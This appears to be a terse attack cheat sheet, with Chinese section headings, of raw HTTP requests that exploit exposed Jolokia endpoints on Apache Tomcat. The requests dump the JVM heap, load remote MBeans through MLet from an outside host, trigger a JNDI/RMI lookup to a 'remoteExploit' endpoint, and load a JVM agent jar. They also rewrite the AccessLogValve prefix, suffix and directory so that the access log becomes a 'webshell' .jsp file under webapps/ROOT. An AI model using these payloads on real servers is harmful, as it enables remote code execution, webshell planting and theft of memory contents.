# Tomcat篇

DumpHeap

POST /jolokia/ HTTP/1.1
Host: localhost:18080
Cookie: JSESSIONID=1BDCE041848DC39636EFD242DE007575
Content-Type: application/json
Connection: close
Content-Length: 170

{
    "mbean": "com.sun.management:type=HotSpotDiagnostic",
    "type": "EXEC",
    "operation": "dumpHeap",
    "arguments": ["/tmp/.hprof",true]
}

Jolokia MLet 利用

POST /jolokia/ HTTP/1.1
Host: localhost:18080
Content-Type: application/json
Connection: close
Content-Length: 170

{
    "mbean": "DefaultDomain:type=MLet",
    "type": "EXEC",
    "operation": "getMBeansFromURL(java.lang.String)",
    "arguments": ["http://10.168.1.100:8888/"]
}

Logging

POST /jolokia HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
Connection: close
Content-Length: 190

{
    "mbean": "java.util.logging:type=Logging",
    "type": "EXEC",
    "operation": "getLoggerLevel",
    "arguments":["service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/remoteExploit8"]
}

ssss

POST /jolokia/ HTTP/1.1
Host: localhost:18080
Cookie: JSESSIONID=1BDCE041848DC39636EFD242DE007575
Content-Type: application/json
Connection: close
Content-Length: 170

{
    "mbean": "com.sun.management:type=DiagnosticCommand",
    "type": "EXEC",
    "operation": "jvmtiAgentLoad",
    "arguments": ["/tmp/1.jar"]
}
# 日志信息
http://localhost:8080/jolokia/read/Catalina:host=localhost,name=AccessLogValve,type=Valve

# 修改文件后缀
POST /jolokia/ HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 139
Content-Type: application/json;charset=UTF-8

{
  "type": "write",
  "mbean": "Catalina:host=localhost,name=AccessLogValve,type=Valve",
  "attribute": "suffix",
  "value": ".jsp"
}

# 修改文件名
POST /jolokia/ HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 143
Content-Type: application/json;charset=UTF-8

{
  "type": "write",
  "mbean": "Catalina:host=localhost,name=AccessLogValve,type=Valve",
  "attribute": "prefix",
  "value": "webshell"
}

# 修改路径
POST /jolokia/ HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 151
Content-Type: application/json;charset=UTF-8

{
  "type": "write",
  "mbean": "Catalina:host=localhost,name=AccessLogValve,type=Valve",
  "attribute": "directory",
  "value": "webapps/ROOT/"
}

# 刷新配置
POST /jolokia/ HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 158
Content-Type: application/json;charset=UTF-8

{
  "type": "EXEC",
  "mbean": "Catalina:host=localhost,name=AccessLogValve,type=Valve",
  "operation": "rotate(java.lang.String)",
  "arguments": []
}